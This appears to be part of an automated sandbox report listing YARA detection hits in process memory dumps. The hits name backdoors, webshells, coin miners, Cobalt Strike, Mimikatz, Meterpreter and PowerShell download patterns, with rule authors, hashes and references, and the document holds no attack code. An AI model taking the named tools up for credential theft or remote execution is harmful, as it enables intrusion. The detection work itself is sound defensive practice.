        Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORYMatched rule: Pupy_Backdoor date = 2017-08-11, hash5 = 06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e, hash4 = 20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8, hash3 = 90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc, hash2 = 83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4, hash1 = ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153, author = Florian Roth, description = Detects Pupy backdoor, hash7 = 8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01, hash6 = be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2, reference = https://github.com/n1nj4sec/pupy-binaries, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp, type: MEMORYMatched rule: Amplia_Security_Tool description = Amplia Security Tool, score =
        Source: 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp, type: MEMORYMatched rule: RemCom_RemoteCommandExecution date = 2017-12-28, author = Florian Roth, description = Detects strings from RemCom tool, reference = https://goo.gl/tezXZt, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, type: MEMORYMatched rule: PUA_CryptoMiner_Jan19_1 date = 2019-01-31, hash1 = ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05, author = Florian Roth, description = Detects Crypto Miner strings, reference = Internal Research
        Source: 00000023.00000003.18351572125.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 6efb58cf54d1bb45c057efcfbbd68a93
        Source: 00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 00000023.00000003.18282718286.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 6efb58cf54d1bb45c057efcfbbd68a93
        Source: 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18317647190.0000015B1B61C000.00000004.00000001.sdmp, type: MEMORYMatched rule: xtremrat date = 2012-07-12, filetype = memory, author = Jean-Philippe Teissier / @Jipe_, description = Xtrem RAT v3.5, version = 1.0
        Source: 00000023.00000003.18316997643.0000015B1B598000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18296064516.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18351179947.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_PowerShell_IEX_Download_Combo date = 2018-10-04, hash1 = 13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, type: MEMORYMatched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Cobaltbaltstrike_Payload_Encoded author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc
        Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_obfuscated_encoding date = 2021/04/18, author = Arnim Rupp, description = PHP webshell obfuscated by encoding, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18294299849.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 6efb58cf54d1bb45c057efcfbbd68a93
        Source: 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp, type: MEMORYMatched rule: HackTool_MSIL_SharPersist_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 98ecf58d48a3eae43899b45cec0fc6b7
        Source: 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_PowerShell_IEX_Download_Combo date = 2018-10-04, hash1 = 13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 00000023.00000003.18325517837.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18330638755.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18330638755.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic date = 2021/03/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75
        Source: 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_DeputyDog_Fexel author = ThreatConnect Intelligence Research Team
        Source: 00000023.00000003.18316329497.0000015B1A504000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Cobaltbaltstrike_Payload_Encoded author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc
        Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_obfuscated_encoding date = 2021/04/18, author = Arnim Rupp, description = PHP webshell obfuscated by encoding, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Hacktool_Strings_p0wnedShell date = 2017-01-14, hash1 = e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60, author = Florian Roth, description = p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs, reference = https://github.com/Cn33liz/p0wnedShell, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth, description = Detects suspicious PowerShell code that downloads from web sites, type = file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = Internal Research
        Source: 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmp, type: MEMORYMatched rule: Msfpayloads_msf_psh date = 2017-02-09, hash1 = 5cc6c7f1aa75df8979be4a16e36cece40340c6e192ce527771bdd6463253e46f, author = Florian Roth, description = Metasploit Payloads - file msf-psh.vba, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Script_Obfuscation_Char_Concat date = 2018-10-04, hash1 = b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 00000023.00000003.18323868678.0000015B1BD96000.00000004.00000001.sdmp, type: MEMORYMatched rule: WScriptShell_Case_Anomaly date = 2017-09-11, author = Florian Roth, description = Detects obfuscated wscript.shell commands, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18350449076.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18350449076.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic date = 2021/03/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75
        Source: 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, type: MEMORYMatched rule: GoldDragon_Aux_File date = 2018-02-03, author = Florian Roth, description = Detects export from Gold Dragon - February 2018, reference = https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic date = 2021/03/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75
        Source: 00000023.00000003.18310362275.0000015B1B490000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18333848371.0000015B1A546000.00000004.00000001.sdmp, type: MEMORYMatched rule: RemCom_RemoteCommandExecution date = 2017-12-28, author = Florian Roth, description = Detects strings from RemCom tool, reference = https://goo.gl/tezXZt, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_PowerShell_Caret_Obfuscation_2 date = 2019-07-20, author = Florian Roth, description = Detects powershell keyword obfuscated with carets, reference = Internal Research
        Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_PowerShell_IEX_Download_Combo date = 2018-10-04, hash1 = 13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Script_Obfuscation_Char_Concat date = 2018-10-04, hash1 = b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_DeputyDog_Fexel author = ThreatConnect Intelligence Research Team
        Source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT9002Strings author = Seth Hardy, description = 9002 Identifying Strings, last_modified = 2014-06-25
        Source: 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
        Source: 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: Certutil_Decode_OR_Download author = Florian Roth, description = Certutil Decode, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2017-08-29
        Source: 00000023.00000003.18326028548.0000015B1ACB0000.00000004.00000001.sdmp, type: MEMORYMatched rule: RemCom_RemoteCommandExecution date = 2017-12-28, author = Florian Roth, description = Detects strings from RemCom tool, reference = https://goo.gl/tezXZt, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18285552638.0000015B1B281000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18341450740.0000015B1B4D3000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18310667601.0000015B1AD99000.00000004.00000001.sdmp, type: MEMORYMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 00000023.00000003.18310667601.0000015B1AD99000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18346153630.0000015B1AB4D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Tofu_Backdoor date = 2017-02-28, author = Cylance, description = Detects Tofu Trojan, reference = https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: hacktool_macos_keylogger_logkext author = @mimeframe, description = LogKext is an open source keylogger for Mac OS X, a product of FSB software., reference = https://github.com/SlEePlEs5/logKext
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Msfpayloads_msf_psh date = 2017-02-09, hash1 = 5cc6c7f1aa75df8979be4a16e36cece40340c6e192ce527771bdd6463253e46f, author = Florian Roth, description = Metasploit Payloads - file msf-psh.vba, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Base64_PS1_Shellcode date = 2018-11-14, author = Nick Carr, David Ledbetter, description = Detects Base64 encoded PS1 Shellcode, reference = https://twitter.com/ItsReallyNick/status/1062601684566843392, score =
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: SUSP_PowerShell_Caret_Obfuscation_2 date = 2019-07-20, author = Florian Roth, description = Detects powershell keyword obfuscated with carets, reference = Internal Research
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Tofu_Backdoor date = 2017-02-28, author = Cylance, description = Detects Tofu Trojan, reference = https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Hacktool_Strings_p0wnedShell date = 2017-01-14, hash1 = e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60, author = Florian Roth, description = p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs, reference = https://github.com/Cn33liz/p0wnedShell, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Keylogger_CN_APT date = 2016-03-07, author = Florian Roth, description = Keylogger - generic rule for a Chinese variant, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7
